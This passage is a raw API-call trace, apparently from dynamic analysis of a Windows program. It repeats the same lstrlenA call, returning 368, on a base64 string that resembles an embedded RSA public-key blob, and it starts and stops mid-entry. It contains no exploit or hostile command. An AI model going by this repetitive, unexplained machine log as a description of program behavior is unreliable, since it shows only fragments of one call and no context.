(lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.346] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQDLpIjRjh1mzgvinYQpqfmG007oBlQ6BMNTaM1K4wwNMKKKq5wrOk6YHmEz917/BDco3AQWNEBevDgCmX9SApjrs30gAlOwu7EUL0QSt3HObJfGW3s9dzxe1wpW9N3xB8M+vbIdwUnqQzazKn2TLqgcvaih8oWwc8xKvKYgT4zlg6/EHD7SjpLkEWnXoTbSQZ5qLY0dF8Esa4xHLYZYajvnSC3S8v4h2E9D0zDXbbIJcO9YT7xF9LSmPCX6K3kd/Da1569yNF8JS8ZelLRnNPDgG3lk5tV5wxsuwePdsd59NF2y67wLHn+9LWQp5u4WIEPU9yWFWRXo81mXH37leviy") returned 368 [0128.347] lstrlenA 